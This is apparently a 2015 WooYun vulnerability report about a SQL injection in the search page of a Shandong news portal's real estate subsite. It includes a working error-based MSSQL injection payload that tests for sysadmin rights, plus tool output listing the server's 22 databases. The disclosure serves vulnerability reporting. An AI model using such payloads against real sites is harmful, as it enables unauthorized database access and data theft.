WooYun.org

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0144072

漏洞标题：中国山东网房产分站sql注入漏洞

相关厂商：cncert国家互联网应急中心

漏洞作者： 渔村安全实验室

提交时间：2015-10-07 09:26

修复时间：2015-11-26 15:48

公开时间：2015-11-26 15:48

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：10

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏

分享漏洞：

漏洞详情

披露状态：

2015-10-07： 细节已通知厂商并且等待厂商处理中
2015-10-12： 厂商已经确认，细节仅向厂商公开
2015-10-22： 细节向核心白帽子及相关领域专家公开
2015-11-01： 细节向普通白帽子公开
2015-11-11： 细节向实习白帽子公开
2015-11-26： 细节向公众公开

简要描述：

中国山东网（www.sdchina.com）是经国务院新闻办公室批准成立的全国重点新闻网站，由山东省人民政府新闻办公室主管、走向世界杂志社主办，新之航传媒集团山东网新传媒有限公司总策划运营，于1996年正式开通。
　　中国山东网以“山东第一外宣门户”为网站定位，以“网上山东第一站”为服务理念，致力于打造专业、权威、为用户着想的主流网络媒体。为了满足用户个性化、多样化、本地化的信息需求，中国山东网为用户提供及时、优质、全面的综合信息服务。
　　经过十多年的发展与完善，凭借权威性、时效性、服务性、互动性的优势，中国山东网已形成中、英、日、韩四种语言版本的外宣综合信息平台，以“全媒体”形式对山东进行全方位、多角度、多渠道的展示，逐步形成“大网络、大外宣、大平台”的发展格局，更好地宣传山东、服务民生。中国山东网已成为山东最具影响力的外宣综合门户网站。

详细说明：

http://**.**.**.**/sreach.aspx?keystr=123

payload:
http://**.**.**.**/sreach.aspx?keystr=%' AND 2853=CONVERT(INT,(SELECT CHAR(126)%2bCHAR(33)%2b(SELECT (CASE WHEN (IS_SRVROLEMEMBER('sysadmin')=1) THEN CHAR(49) ELSE CHAR(48) END))%2bCHAR(33)%2bCHAR(126))) AND '%'='

back-end DBMS: Microsoft SQL Server 2008
available databases [22]:
[*] 91haofang
[*] adv_new
[*] bbs
[*] cms_newair
[*] jiaju
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] SD_QIYE
[*] SDSW20_Ads
[*] SDSW20_Ask
[*] SDSW20_Digg
[*] SDSW20_HR
[*] SDSW20_Main
[*] SDSW20_Other
[*] SDSW20_Rank
[*] SDSW20_Video
[*] SDSW20_Video_old
[*] tempdb
[*] yycar

漏洞证明：

修复方案：

版权声明：转载请注明来源 渔村安全实验室@乌云

漏洞回应